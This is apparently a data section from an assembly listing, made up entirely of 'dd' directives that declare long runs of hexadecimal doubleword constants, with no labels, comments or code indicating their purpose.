		dd 44B4F80h, 0C0FE3F2Fh, 88C46EF3h, 380BAEADh, 31D94ADEh
		dd 0C12E452Bh, 0E67881E8h, 0DA310121h, 0CF80AADCh, 0EFCBD863h
		dd 675AE962h, 6988642Eh, 81617E18h, 29BC09C9h, 2D000F6Fh
		dd 0A39F69C6h, 0E77BE915h, 4ED669A7h, 0A6F8B1CCh, 46E9C1EDh
		dd 607F2528h, 75405D12h, 78CFB84Bh, 0D4C181E3h,	0D375F703h
		dd 9B06EB24h, 0ECB03CE4h, 96341767h, 0CA72126Ah, 0B2E91C3Ah
		dd 0B0B964A5h, 71144BD9h, 1432F71h, 4120D029h, 68423D58h
		dd 0BDBF71Dh, 7A3010FDh, 4A0174F9h, 0E9C30173h,	9D4D83D8h
		dd 6EC46B79h, 1542172Dh, 0CC5B5453h, 4A684CB8h,	0A23B355Eh
		dd 20FB2E02h, 0BE95784h, 0A2B903D2h, 6D302Fh, 353C685Fh
		dd 81FC17C6h, 1DF48041h, 68588141h, 6FE0529Bh, 9551E458h
		dd 0E69F1BA8h, 7C822DC4h, 0AC72F231h, 5632AC26h, 8038A4C0h
		dd 62FC983Bh, 1E90DA0h,	5A48CF78h, 7B184936h, 0B509054Bh
		dd 2C2F805Ch, 5C2A3D4Dh, 4D50D721h, 0C8313712h,	20088D05h
		dd 812D6847h, 7B20992Eh, 90839F34h, 0F3681824h,	200CF164h
		dd 0A285E81h, 0C7A2C603h, 0E6B02A5Bh, 0C9044159h, 0ECADE958h
		dd 0A526696h, 78D35A3Dh, 4BAEBFCCh, 80E145BBh, 0DA418EA4h
		dd 0A547492Ch, 720F8B1Ah, 566D205Ch, 4A310F7Dh,	53EA59C5h
		dd 0F859AFC4h, 6BB43389h, 62313324h, 67A46931h,	0C2D0B98Ch
		dd 735B2C38h, 68065105h, 5A78D1A2h, 5DD90B4Fh, 3EF8DC07h
		dd 0E14858A9h, 0B82175Bh, 59E3CCC3h, 54096B5Ch,	6A5AB0E9h
		dd 0C5C43B94h, 2A30B25h
		dd 44B1BD98h, 295FBA05h, 2F855BDDh, 5266A291h, 0B79CEBCAh
		dd 483DA39Ah, 1813D2F2h, 58F75911h, 1263CCF8h, 6028052Dh
		dd 8229028Eh, 881B952h,	50E579E9h, 768CF6A1h, 923E193Dh
		dd 4E3620F4h, 56580907h, 6BAE689h, 30C334C8h, 1C13F23Fh
		dd 0DC06EFF5h, 13B15541h, 1CE5C15Dh, 5BBAC043h,	1CE926DDh
		dd 512E0196h, 87578869h, 5B95E941h, 0CBE1659Dh,	0B41B17D9h
		dd 3CF79FF9h, 0E04DDE9Ch, 4437CAC3h, 70D45010h,	0C22FE377h
		dd 0AE7F2094h, 0BA0DAF76h, 0B4484A4h, 22526858h, 40563599h
		dd 844CB0D5h, 0B340474Eh, 2F2B5010h, 3E3CB429h,	0B0C4429h
		dd 0E4A1D3E9h, 2F58C328h, 484A6925h, 0C640BE0Ah, 7E7C92E8h
		dd 25F27DA1h, 76A026CAh, 3BAC6FB4h, 59080CC1h, 25326B9Ch
		dd 0C694FB62h, 2B624E07h, 42EC5CF8h, 9A41FE29h,	796728BDh
		dd 5C5193B4h, 0C6030F5h, 24D2C1h, 880F07F9h, 7B181AAh
		dd 9ED1040Fh, 0CE030430h, 0D85250A7h, 0AA4E24A5h, 5DEA0092h
		dd 148BD309h, 97311A80h, 52BB8B19h, 406001BEh, 721FD92Dh
		dd 0E74C3DF3h, 0E801A44h, 0CB28A5EBh, 59A4C3AEh, 5ECD8252h
		dd 6813E46Ch, 0DB30371Fh, 0D64657E9h, 126F1EA9h, 0A05CC5A2h
		dd 0A83A2DBDh, 0F6713F36h, 3FDD2E4Ah, 20C9047Ch, 0C0BF2248h
		dd 7509780h, 392E31B8h,	0E8C7444Dh, 0BCC2D6D2h,	9D944C50h
		dd 99A57314h, 515D5489h, 49094849h, 4CD81300h, 1EDE1CF4h
		dd 5F08ED14h, 395C5E4Bh, 0B5A565B8h, 10EB7140h,	78315C81h
		dd 83242468h, 0C6A2692h, 0F26989B8h, 0E5BC80Fh,	0E5D32972h
		dd 27E91C93h, 2BBAED82h, 5609D040h, 0FFBCC8F6h,	0DE03521Fh
		dd 0D96A9476h, 59814E74h, 6EE191C2h, 2FFDED89h,	298DF413h
		dd 4888A43Ch, 0DF803C28h, 0F78072A8h, 1583A0D5h, 8DD23E78h
		dd 9709DC95h, 8244C0Fh,	1DD0022Fh, 43D6555Bh, 5A90E750h
		dd 0C138CA21h, 0BF00083Eh, 0D4815A13h, 0F9333D9Ah, 1EE3615Ah
		dd 0BBFD9808h, 0B685337h, 63184048h, 4CEB2380h,	0D71664A9h
		dd 6F2728E9h, 0E55FF5B1h, 74669042h, 5BD88B60h,	0E05D304Ch
		dd 4A2D275Dh, 0CDD284ECh, 0C1DE8944h, 487786FFh, 0D60BA4D2h
		dd 8229A1CAh, 0D257DC2Dh, 3CB13821h, 225EC83Bh,	34F10267h
		dd 2F043C97h, 0F701F940h, 0D0CD87D9h, 0E54CD1DDh, 534C02DAh
		dd 430165F4h, 453BCFE3h, 69E98405h, 7865B20Ch, 0F71D8029h
		dd 53248528h, 7E016322h, 4F447942h, 8224E431h, 6E0248BBh
		dd 453EDDC0h, 4EB0135h,	26C40812h, 0B092A4A2h, 1F5EE9F4h
		dd 63224412h, 34F2135Ah, 88E7F0CAh, 0FD889624h,	422E27EBh
		dd 0B38BDB8Bh, 55B6D5E0h, 302EB409h, 766490F4h,	0B5A98372h
		dd 0F1F450BEh, 960F1CA1h, 0A9CD01D7h, 16CFF831h, 3747A868h
		dd 6244D21Ch, 0CD9140A9h, 4E2B24F8h, 0F50BFE98h, 847F5B33h
		dd 7AC15EFCh, 9D28FB68h, 7449099Eh, 7609F07Ah, 8F276552h
		dd 20F6929Ch, 0FC509F44h, 82899F2Ah, 2FC42F59h,	95791DB1h
		dd 0AD5D5096h, 16404D9Ah, 5814AC3h, 2DB9403Eh, 64B43C8h
		dd 635A91FEh, 0C4F96839h, 0F0B3638h, 5993C0B6h,	0B0D87FE2h
		dd 0C0BE334Ch, 57C8BE0Fh, 0E2E75989h, 62EF8387h, 0AFEB3C87h
		dd 65D7B069h, 4AE98B46h, 685C04A0h, 0BB995049h,	694E2CBFh
		dd 57DFBA81h, 5E38C601h, 8276B47Dh, 38E38D0Fh, 50E0605Eh
		dd 0A453F78Ah, 9620B470h, 682B421Bh, 1076473Eh,	0C5769362h
		dd 9632A401h, 5BDB8039h, 6B4FA268h, 0E820BB34h,	5988C301h
		dd 5B292D0Bh, 77396B8Fh, 0E00B2BD2h, 66701833h,	6CAB580Fh
		dd 0BD5384h, 0B24476B9h, 0C1894B60h, 845BFB78h,	2D5FF875h
		dd 542466E7h, 0BD688B16h, 2C47E6E8h, 1931C181h,	9AD0DDE0h
		dd 2099062h, 603A24A6h,	0B60FA01h, 0AD0336BAh, 0E7C1471Bh
		dd 0E9070D08h, 2F46141Dh, 5157EE71h, 0C4D48330h, 0C2C33055h
		dd 5D00FEE4h, 0CE04E0C1h, 0E8C00506h, 32792D08h, 505E2770h
		dd 0B5584128h, 23A19182h, 662D8E47h, 8D2B10Bh, 6031C5C4h
		dd 1C355003h, 6E3884F1h, 8388FA4Dh, 55166805h, 4B5450CCh
		dd 3EB7C05Fh, 0E926666Bh, 5A969B25h, 9FCA0E13h,	50664240h
		dd 2468D9F7h, 0C71E0999h, 39224961h, 490F44A5h,	345B2D2Ch
		dd 992A5AF0h, 415BC44h,	904E217Fh, 56575AF0h, 7C09E4B8h
		dd 0D828B15Eh, 0C990F2h, 689545E6h, 1A87890Fh, 7DAA67C4h
		dd 35BFE613h, 300408D3h, 2C16BC23h, 0ED138383h,	30225502h
		dd 41284A5Dh, 520261DCh, 8CDDF883h, 49A26354h, 96921B5Ch
		dd 0A053EACCh, 4578ABh,	98BB6E06h, 0E91A5F79h, 51FD5064h
		dd 291FD9E2h, 0B09C53C8h, 28E35E42h, 4AB8C7A2h,	257033D0h
		dd 0BC5400F4h, 3735486Ah, 3D023A17h, 0FD666105h, 0CF6E122h
		dd 1235F95Ch, 0B4D9529h, 0ED20BA0Ah, 0E2C0D6B2h, 0CA80080Eh
		dd 40C26070h, 27E9D128h, 5C9354B9h, 2F8808C1h, 47EAFD44h
		dd 4511D31Eh, 20F8899Eh, 2DE8D17Ch, 0E7552C00h,	4DBE5620h
		dd 44150054h, 4C29F681h, 1C907F09h, 15A6C8BEh, 5180F824h
		dd 2C3C6857h, 5F2401C4h, 0FF5CF81h, 9FD56009h, 41462AF1h
		dd 487F0C76h, 680611E0h, 0A4E807BAh, 441D2FF1h,	9660AD49h
		dd 28D19170h, 0C02640B5h, 8006EB05h, 7BA14FC3h,	3B9C3221h
		dd 4D4644CEh, 0CCB8C01Dh, 94BE313h, 0EE91304h, 0D8F058D4h
		dd 8A575B02h, 3F83266Fh, 4154AB8Ah, 18BB6881h, 0FE6250C9h
		dd 0D28E8313h, 8E91BA00h, 1DDF3CC9h, 77A4EE80h,	88863608h
		dd 5A1D56F1h, 274CE27h,	0E9F1CF80h, 11D631FEh, 0DA6850E0h
		dd 68B9913Bh, 19C00C46h, 0FF6EC2BDh, 2DD478C2h,	4C991734h
		dd 0FCB14401h, 76C3162Bh, 0FB90A74h, 40A10C88h,	0FD13C6C1h
		dd 8B16417Ch, 0BCA4BBF2h, 12E87980h, 0A2F93147h, 0FE7098B1h
		dd 4D2F0B13h, 0FC88CA01h, 0B3591608h, 5C827F87h, 2EE9613Bh
		dd 7F8133BAh, 0E9C20FBCh, 24287072h, 3B53F701h,	5F9A3F8Fh
		dd 7CC3E4A9h, 0A49B163Dh, 0CE075E25h, 36C023AEh, 6917E94Eh
		dd 4FA73FBFh, 68B3EA39h, 2CA03C8Dh, 2E162297h, 8DD9F9BEh
		dd 7410E09Dh, 7E41E556h, 0D5DF356Fh, 820EA21Eh,	0C6118BE9h
		dd 3E3DB1F3h, 58B9B218h, 0C507815Eh, 3917457Ah,	99CA66C2h
		dd 62285988h, 0E3B5E9B3h, 668A4EE3h, 0CB546764h, 8E840A0h
		dd 10CE2113h, 0AC700E0h, 7CF61672h, 31381398h, 275A54F8h
		dd 510C6991h, 0A09648EBh, 75AA31D7h, 55D83F9h, 0F3ACBF04h
		dd 62072D16h, 38650455h, 0CC136A8h, 0FE33D430h,	9009FDD4h
		dd 7E58A2E9h, 7042BD02h, 58094195h, 96C20039h, 1A2288Ch
		dd 68165AD0h, 0A336266Fh, 0E58D60A4h, 8F0FC1FEh, 5AC27A59h
		dd 0BAE38698h, 0C4883910h, 0BB53C600h, 0CC04DFB9h, 0E9DE2906h
		dd 22DBD9h, 8EDC058h, 0F580C5FEh, 0EE3D7C70h, 3E68059h
		dd 0F698B353h, 0EB863ADBh, 0E908D531h, 0E9D6D65Bh, 0C0B0279h
		dd 230ABEE9h, 613800F3h, 0D82976B6h, 0C372315Bh, 87E9C20Dh
		dd 96F56B8h, 74122F5Dh,	0E634774Ah, 1F03E915h, 436635DCh
		dd 9EF93C2Dh, 855B246Ch, 0F5A6A86Bh, 4C67C811h,	0E5160454h
		dd 74C1013Ah, 45782E59h, 0A52A1DC1h, 7E1E2047h,	0B2AE0A83h
		dd 7E12890h, 0F758C388h, 928A8AEEh, 85C18FEh, 594E9468h
		dd 0AAFF55CCh, 467376CAh, 4C32F666h, 406E693h, 7C3481ADh
		dd 20986507h, 0A0C3B352h, 0CB1350Bh, 0D7E2E90Bh, 0C602B744h
		dd 0FC2832B4h, 0C143415Bh, 0EBD5E3C1h, 165866D4h, 0E63CF168h
		dd 9B055B93h, 9513CF01h
		dd 0B9ED2F2h, 9D5A88E9h, 651F5D29h, 0D211E419h,	991BBA29h
		dd 5148D3B7h, 0EEB59201h, 3BC85140h, 0F7130093h, 6E3C1DBh
		dd 0E930D387h, 0C7014FDFh, 0D6515C58h, 0F34B6E00h, 0A4E94D27h
		dd 7EA9392h, 0D58C334Fh, 8E137C1h, 222DE20Ah, 32494A5Eh
		dd 0F2A80341h, 0D03B1F27h, 1E8C040h, 2FDAB22Dh,	1A211624h
		dd 0A9E94A03h, 0FDEB034Fh, 8E5C15Fh, 2E829DAh, 0C909BEBDh
		dd 231F8B9h, 0AF46B494h, 5070093Ah, 1CF72AE1h, 810D448Ch
		dd 35F4EE00h, 800F22BCh, 0E065CC7h, 0D80BDB81h,	0B6248247h
		dd 0F859F662h, 13E8FC36h, 95AD50Ch, 0D87B06h, 0EEC14E0Bh
		dd 87910404h, 215CD8Ch,	1F24006h, 0B25E5EF3h, 6750486Bh
		dd 5212BD88h, 9EB6DB86h, 1DF1B900h, 0D1F76775h,	81B5A0C1h
		dd 5AF30FE1h, 2F1D445Dh, 8B469742h, 0CF48960Fh,	2BB7C66Ah
		dd 0FBEB0285h, 874CC11Bh, 28969082h, 124BE252h,	6682FF27h
		dd 0B949092Fh, 22DB7050h, 302E0910h, 3B15E707h,	870F205Dh
		dd 65CE01D0h, 0DF1000F7h, 0D251E90Ah, 69BAD2D1h, 1CFACDD0h
		dd 0AAC9E35Bh, 4F435660h, 2E9D7976h, 2E425F4Bh,	25E4FEB3h
		dd 923F5448h, 15E77515h, 0C7D207Bh, 0B0F0F692h,	8D0F8BC1h
		dd 338058F7h, 866692E6h, 9820E913h, 60C001Ch, 0AE2D0558h
		dd 0C1124CC5h, 980108E0h, 7FDA2E6Eh, 25B0AC47h,	92D7149h
		dd 1B4A4F43h, 1305AF85h, 0E92ACC07h, 58863420h,	33392C31h
		dd 0EC4124CFh, 0B5BF8667h, 0D21B97E8h, 57E39Ah,	276E7CAFh
		dd 0D2F72E4Ah, 74108463h, 0F6358025h, 7F652252h, 91B4FC44h
		dd 9F390008h, 0F281424Ah, 0C4135E37h, 951A2969h, 3EEC8006h
		dd 0BF235B67h, 0F3E97901h, 1E297EDCh, 95E9B0A8h, 0E268A584h
		dd 0ED81006Fh, 3FC24F70h, 9AC56001h, 2B0F4530h,	0AB019890h
		dd 0E9439615h, 35A51F23h, 8A0F9F81h, 0FD982534h, 387D25BCh
		dd 0C4800937h, 58C0F0EDh, 787484C5h, 0C5900E8h,	5293341Fh
		dd 200CC2B6h, 0F5FAE9F0h, 0EDE35028h, 17665AC3h, 507C908Bh
		dd 0B50B83B4h, 89E5280Fh, 5276E2CCh, 11F45AF8h,	0CD67BB8h
		dd 5AA71202h, 1AF8013Ch, 553EF506h, 0FA657F09h,	0D1C20900h
		dd 9777FFE2h, 0D0E906B0h, 0BA1D149Ch, 32870182h, 89286131h
		dd 0C617C051h, 32C3BA06h, 652C7CB7h, 0FC5B7A80h, 4B1E7B67h
		dd 0FE0BFD30h, 942484CDh, 0C25A3FC1h, 48BB6964h, 5A5D026h
		dd 882124DCh, 31776BBCh, 5DE9250Bh, 68762316h, 0EBCCCD32h
		dd 4DB92451h, 524B1E9Bh, 0BFE508CAh, 871EBC26h,	80C016h
		dd 31BB6653h, 0D9BC2E2Ah, 8EE3E25Bh, 4CCDB8DDh,	1A3777AEh
		dd 2C31245h, 13BAF052h,	3FB7FD2Ah, 0D329F348h, 0E9DA87E8h
		dd 0AE02CB25h, 46093E7Dh, 283B72BDh, 0E724424h,	48773CDAh
		dd 1667EFC0h, 0C3F84DA3h, 0AB3A110Bh, 2B50E17Eh, 89533397h
		dd 5BDAF40Dh, 0B49694BFh, 0EB7F58F7h, 0DCB1FDABh, 12372A07h
		dd 0EF8C17FFh, 4F74B051h, 0B826C4ACh, 2568B356h, 9DE6541Dh
		dd 8BB44EF8h, 5E0E1A25h, 685C502Ch, 46745E2Dh, 22DCBA7h
		dd 0C25D3025h, 5749351Bh, 5AF8204Bh, 3FE23714h,	0AE092EE4h
		dd 54D2846Dh, 6DE9F822h, 66BF1562h, 0C5AC0449h,	5ADDE870h
		dd 0EFFDDD91h, 715BBB00h, 21068314h, 9E58B3h, 446561C3h
		dd 776FB20Dh, 731EA25h,	0E936BE77h, 80ABFAC8h, 14B4E281h
		dd 1C55CB68h, 0E6BEF455h, 24676F58h, 0C697FCEAh, 8E80AC0Eh
		dd 0A043330h, 0FE07F922h, 1C992FCEh, 0C00E8682h, 701004E6h
		dd 25F048C3h, 641B310h,	125D890Fh, 0A4C104FFh, 0ACE44EF5h
		dd 0F0A71D8h, 81715C82h, 0E6E0C88Bh, 0B5CAF20Ch, 8F59870Bh
		dd 4854126Ch, 0DB202358h, 88C24ABEh, 0F6560977h, 12599A7h
		dd 5A397E20h, 0D464D15Dh, 0E1435D9h, 109E4D36h,	8100EBDEh
		dd 0C95306E5h, 567D507Fh, 8914974Eh, 13CB3C42h,	94B2C095h
		dd 16A6BA01h, 204A3EB2h, 20E9B1Ch, 672962EAh, 30A9A2E9h
		dd 0BC1B190Bh, 54FA500Dh, 0ECED17C0h, 9651DB2Ah, 0F2E5B432h
		dd 30E696CDh, 75C3ADAh,	60B5E9E1h, 4E54CB2Bh, 5E1E3ED2h
		dd 0DE010989h, 41EEF400h, 0FA5C80AAh, 0F7891C72h, 248678A5h
		dd 298358C7h, 22B420C5h, 839FB950h, 7154731h, 4CCDC2D5h
		dd 0E05994A0h, 24E0520h, 2CCD5936h, 88F00CD3h, 2917B1CFh
		dd 0C1C306E2h, 0EE9906E6h, 0E4EA6002h, 0F189310Eh, 0B3F56E55h
		dd 6B5ED30Eh, 0BE13A06Fh, 0B5CD5123h, 0C44E8E85h, 0E1A2D5FCh
		dd 87B5027Dh, 1B253552h, 9006CC76h, 27125FC1h, 0B2F283E1h
		dd 408B406Ah, 3E5CDA00h, 38814974h, 963E13C9h, 0C4F6E90Ah
		dd 0D35B9D8Bh, 5C4346ECh, 0D9418653h, 0B734FBF1h, 28F5122Ch
		dd 201C08D0h, 6873F718h, 685981FEh, 94C9F7B1h, 0CDE913C4h
		dd 0BB375DF0h, 5556D99Ah, 95E5C85h, 8F4ACADBh, 70C2917Ah
		dd 0F367DB68h, 12592B93h, 11F3255h, 6801E80Bh, 383A4937h
		dd 0C60BCF27h, 3449E479h, 0CE914D8h, 0FC011119h, 163C20Fh
		dd 872A0D3h, 516E913h, 0B4744AF3h, 0B0B308C1h, 0DD989222h
		dd 126D991Ch, 804D7F7Bh, 0AF512642h, 0C113BB01h, 61CE8930h
		dd 0B42C5A36h, 80DAF603h, 0C4D28AEAh, 306A064Bh, 0C21F8F3Dh
		dd 59B9C949h, 1E5E3102h, 0BB2C827Ah, 0D27855D6h, 0B768160Ah
		dd 7BD1347h, 6060F133h,	112ED7CFh, 0A5E92612h, 83F22656h
		dd 28118B95h, 40052504h, 1E1DB8F5h, 89163B2Eh, 0E6413F5h
		dd 7C5B3197h, 0A625353Ah, 0F2442519h, 0C7DC2791h, 96DCCD4Ah
		dd 28685E82h, 62975412h, 0D89B0E47h, 0C64E9D7Bh, 0C554130Eh
		dd 3B27071h, 2C8C5C62h,	380A7764h, 0ED8984A8h, 0EF3DD805h
		dd 67529B8h, 295EE97Ch,	8831CFBh, 0E1141C41h, 0CDA7B228h
		dd 0B658525Ch, 14C81E3Dh, 0B21A9251h, 1381CFAFh, 6144B053h
		dd 0CE5A2F50h, 0A4DA5E0Ch, 0EE198C54h, 150BC533h, 1676CB62h
		dd 0B3524BF1h, 0E9D50CB9h, 0FBDDD9Fh, 499B3341h, 890A2344h
		dd 1787C218h, 0F20827D8h, 0F4565C31h, 81D6E849h, 0B88EC1F5h
		dd 98E82972h, 6892F2FCh, 8C3C4A82h, 14E79414h, 0A6B3C205h
		dd 83A98785h, 3147EE03h, 69D9B7BEh, 4282045Fh, 8EA92F43h
		dd 2C3DBC5Ch, 0EFA6C93Ah, 0F1881B05h, 0F81D712h, 5E60D14Ah
		dd 0F44EBAE0h, 9D1C0E77h, 0D3495966h, 0AEFC11E8h, 5A841897h
		dd 0D110D2E8h, 88F06C6Ah, 3D464FC9h, 9434DF13h,	0FA45ABB9h
		dd 0B1FD3C8Bh, 44A1E908h, 10505D3Eh, 4B3FBDFCh,	1C698318h
		dd 87314159h, 0B5D6DECFh, 3D20BA00h, 814CA100h,	0E60BA0CAh
		dd 6970B841h, 0E8007355h, 698942DFh, 13A5149Dh,	8D15A668h
		dd 7AC16EF5h, 0FC3D5B46h, 81430701h, 0D4985EF3h, 0DD61E9E6h
		dd 7F83AD5Fh, 250FDA30h, 1FC2C284h, 7DA50482h, 457CA62h
		dd 30045914h, 53DAE0D8h, 578DBB04h, 0B2E8155Bh,	63106060h
		dd 889050A9h, 3299C02h,	4AA6E9AEh, 2626C455h, 0F11DC5D4h
		dd 0A9270808h, 943A5ED5h, 8F05AB95h, 8ED9B6E2h,	0A8592A2Ch
		dd 0C205DD94h, 0C709936Ah, 1EF85AEh, 2C685908h,	3C97631Dh
		dd 8F6CBF56h, 0C9E9100Fh, 3C23F90Eh, 0F569A7Fh,	0D930ACB3h
		dd 0A4422124h, 0AD3AEB62h, 0C3299B3Eh, 41539C10h, 0B70F5505h
		dd 101322C0h, 94582C2Bh, 8287579Eh, 4CE68A87h, 70EE801Fh
		dd 0CF7BB18Ch, 8F2D05EAh, 0C7215673h, 18C8E245h, 0C1DDF700h
		dd 5E798EDh, 6F111ABEh,	2FC9C003h, 6904735Ah, 7AE9F501h
		dd 211676FCh, 436D3DCBh, 1F9FB59h, 4A861DFh, 0D7229C47h
		dd 91875A27h, 442BD270h
		dd 0EAD50D3h, 8BDFD821h, 8F34BF2Ch, 53137B9Eh, 139674E7h
		dd 0B62DC18Bh, 1FD73098h, 0D1B7B397h, 646EFBB0h, 0FD50C29Bh
		dd 0E9C32C04h, 0B0234FABh, 4DFC4121h, 970A7390h, 0AF6B0302h
		dd 1C743000h, 0A9ABB35h, 0C321192Ah, 6059EB48h,	539BF380h
		dd 5AE96846h, 293A090Fh, 602A6C4Dh, 818064BBh, 88638AC6h
		dd 0EE01096Dh, 0DD6275E9h, 683C6141h, 305D019Dh, 525823E1h
		dd 52D41E79h, 134B2354h, 0E2E2850Fh, 29F9C91Eh,	21ED89Bh
		dd 867AF02Dh, 0B555E2Eh, 546BD2A8h, 130FB83Ah, 0B8445B8Fh
		dd 0E3F6A17Fh, 68C23E78h, 835B36EAh, 81515309h,	3E190A4Eh
		dd 814A007Ah, 0A304C6C9h, 0E1064898h, 16DA3AFBh, 0AE0B306Ah
		dd 0CF29C1B5h, 89FD3D03h, 0A65859CBh, 0A0EFA666h, 90E43F5h
		dd 12E94F9Eh, 22B54A70h, 983057C9h, 0FA6855BCh,	565E2E4Ch
		dd 0E1DD14F8h, 30E9E879h, 0BE2A6FBDh, 29135C49h, 0B841564Eh
		dd 23953FFBh, 7E0102Ah,	92E95E06h, 0C1096FE7h, 99320968h
		dd 728081BEh, 78C37C26h, 602D6858h, 0F270E652h,	5B29EA71h
		dd 0DBC69741h, 5A5E3723h, 522F5CF9h, 0D84894E9h, 98B8EB29h
		dd 0A3889A92h, 520731F1h, 5D51EF2Fh, 0C8784FF2h, 0BB06AA06h
		dd 42D4167Fh, 8EAC1CAh,	0BF2BF261h, 34361393h, 2578C7E2h
		dd 0FFDBEB58h, 483C6885h, 6017152h, 7C7F0960h, 0B62B813Ah
		dd 0A1CF6C35h, 6B7D6E32h, 490EEE24h, 0CC824403h, 62D2CB25h
		dd 61DBC0FEh, 9A98B729h, 3224632Fh, 49003C12h, 0E965FA3Dh
		dd 264ABC2Dh, 0EC98C9EDh, 0D882AB10h, 0B0C895B6h, 6836307Ch
		dd 48F18811h, 0DDC5CDBBh, 538DB05Bh, 0D8290CA8h, 0E904819Bh
		dd 811670B9h, 83497810h, 1D42EFF5h, 0FAD2CFE7h,	69675C5Fh
		dd 0D6C0F382h, 3C30B907h, 48F727F9h, 6E0684D9h,	1079496Bh
		dd 413205B5h, 14EED07h,	42197CD9h, 0D679052Eh, 49B8BDC0h
		dd 0E0304AC6h, 0D1993B30h, 7F21D3E4h, 0CA0101AAh, 283ADD25h
		dd 3530E9FEh, 0BBE5733Fh, 33022624h, 0BCC8082Bh, 531CC581h
		dd 4F242938h, 83BDABBBh, 501ABAD8h, 8A68167Ah, 5335CC35h
		dd 88EAB700h, 0A3E95BFDh, 9749B24Bh, 3050F7C9h,	4797051Dh
		dd 32BD2031h, 0C185B488h, 4AB3BB55h, 0F9A09D42h, 0A3DEFAEEh
		dd 67BE2C44h, 0FCD94CCh, 0F7F578C4h, 0C7581D22h, 79CF8F0Ch
		dd 0C174AFE0h, 0E97302EFh, 0F580D3C1h, 1DE5532Ch, 332FE965h
		dd 1A8A68A7h, 0F70D5B0h, 0F72ACF00h, 0CD8145D5h, 4612269Fh
		dd 0ECF41260h, 2DCF5E34h, 95E95204h, 538CA463h,	436DD341h
		dd 13FE5E7Fh, 5B18C06h,	41147A00h, 6E8C163h, 18CEA1F7h
		dd 9B5093Bh, 3105A10Fh,	8472B571h, 1F22683Ch, 5E12FDF3h
		dd 5EC9F3ACh, 1CFA7918h, 0C99C960Eh, 0E7CC5AEAh, 6FA99EA1h
		dd 5065A275h, 0B131EE8h, 0A15004C0h, 1242A4CEh,	1CB34D0Eh
		dd 0D0F72648h, 528D20C5h, 82EEC02Fh, 2F012B33h,	1ED95809h
		dd 0B0065CBh, 30602FE9h, 86AE3C1h, 0D70CF606h, 0CEF451Eh
		dd 775606F8h, 771F50Ch,	48E9712Dh, 0EED9880Dh, 0E1CC6066h
		dd 6ED0F3C1h, 0E716DB64h, 0A1246412h, 53411329h, 5D63D0C8h
		dd 0C44B6F98h, 0E8A441Eh, 1BC2C24Fh, 283CF126h,	21900952h
		dd 4C0F2573h, 0D339572Fh, 0B00AC6D5h, 10116C0Bh, 0E07A0297h
		dd 0DD849542h, 0B02A84Eh, 2F1015Dh, 7444A76Bh, 45749AB2h
		dd 336F7B54h, 1230FAD1h, 7154316Ah, 93BB35C3h, 0AD8048ADh
		dd 3E52D305h, 0F8940E5Eh, 5F0E072Dh, 0C4553B68h, 0AE185A84h
		dd 7CA95674h, 0C4A3681Dh, 0FE5B198Ah, 0F7343B0Fh, 0DD4BE88Bh
		dd 6F8C9350h, 9893FCD3h, 982935C5h, 9D7F92F7h, 0CBE9C001h
		dd 0E1010417h, 5ABACD44h, 8240F330h, 1D0ED4Ah, 0D8B262F6h
		dd 7F446690h, 0A6EA4B30h, 2E20301Eh, 9D41E368h,	632B6146h
		dd 0DF3CE508h, 0F0D95C96h, 0DD89BF27h, 0C0528505h, 0D104ED5Fh
		dd 815D6F00h, 5C71C7F5h, 8E09BD06h, 95797B85h, 5296825Ah
		dd 1CAF64C0h, 89473C02h, 0CA4A5BDAh, 0F68E00FFh, 0B076E2FEh
		dd 2ACEC48Fh, 96A5B2FDh, 0EF2406A6h, 255CE5DBh,	0EC6BE4B8h
		dd 8221B280h, 0C5234CFCh, 0E9F29027h, 0A1289AAFh, 0DF4C697Dh
		dd 791502BAh, 504A59B3h, 0F86F4440h, 8D604981h,	21C00BC9h
		dd 97297FD3h, 0B9F1A4A0h, 6D268ED0h, 0D039E529h, 0D6A8318Bh
		dd 3D99FFCAh, 0D67704EBh, 403DF412h, 5674F17h, 689D7100h
		dd 4E3113F6h, 34B929D6h, 1D07554Bh, 47DFF763h, 204D736h
		dd 54166851h, 795061C0h, 0FDF1E913h, 2596A036h,	0EBA163A7h
		dd 0C82EF890h, 207E5789h, 2C1B3CE7h, 0E627865Ch, 97F7B908h
		dd 884741F5h, 20595BFAh, 359B5AD0h, 38017E25h, 6324E827h
		dd 245FE8DFh, 0D088D487h, 7D602FEFh, 4D95CC86h,	17B825FBh
		dd 1162A168h, 5CE2DA8Dh, 2978E96Ah, 704A1000h, 5C81B926h
		dd 0F02D4A0Dh, 4C612914h, 5358595Eh, 13B2A740h,	1E665C8Dh
		dd 38D1F5Fh, 12444FEh, 85EF80C0h, 370F7E6h, 58F2F86Bh
		dd 4CB2B7FBh, 0B260815Eh, 9DAF620h, 2D57870Fh, 0C27E84A9h
		dd 3E8C005h, 398369C1h,	0A041A84h, 955CFF88h, 445AEBC9h
		dd 4F587232h, 0DD4A4511h, 13A3F2A5h, 31E9F768h,	801C282Ch
		dd 0B35BDE88h, 514A6695h, 0D92A63CDh, 3B84784Bh, 18B83150h
		dd 402F90E9h, 2A1DEA75h, 893EDE27h, 0C27BA5D0h,	9641D9CDh
		dd 57200555h, 22C6870Fh, 0C594CBC8h, 9798544Ch,	0C8C26545h
		dd 1F1053A9h, 6C135E12h, 3E5664E6h, 0D0CC445Bh,	4A64AE62h
		dd 0D59F99A8h, 53488D50h, 0F1DDF03h, 83FD293Fh,	0BA05C333h
		dd 76942E9Eh, 75845CE9h, 0C99EBD73h, 68CC215Ch,	326E41EEh
		dd 45CBE753h, 885581E9h, 3ABCD85h, 5D575A5Fh, 4EC9F558h
		dd 97313F68h, 2544ED08h, 6804D994h, 64AD0680h, 92C7D6B4h
		dd 0F598BDCFh, 5B13832Dh, 790F0AE7h, 20DA03CCh,	8C68B101h
		dd 60C1DECAh, 61BF6508h, 56569BB0h, 0C1896849h,	56111252h
		dd 0D5994254h, 0A8570009h, 0F64E4A78h, 0C849D26h, 34C7C24Fh
		dd 445131B1h, 1022AB2Eh, 1D55883h, 60358EBBh, 0F0DF2115h
		dd 109DADE1h, 74CCB8CAh, 29F60BFAh, 0B0158C7h, 7B8C0A13h
		dd 6B220C0h, 573B3FD4h,	0D3AE5F28h, 98510463h, 8AE31719h
		dd 9AFB5769h, 0C2C3E984h, 9517488h, 314B86CBh, 0D16251A6h
		dd 0D5B5F701h, 0FA292E67h, 126F8731h, 40D52D74h, 670A68F9h
		dd 43087227h, 0AD04A44Ch, 0D8F7075Eh, 68DD8482h, 9621E9CAh
		dd 45164073h, 1A97460Ch, 1B2FF4DFh, 53B50631h, 899BAC69h
		dd 0E35F264h, 150B75EBh, 0C0F32964h, 2638F775h,	0E705167Eh
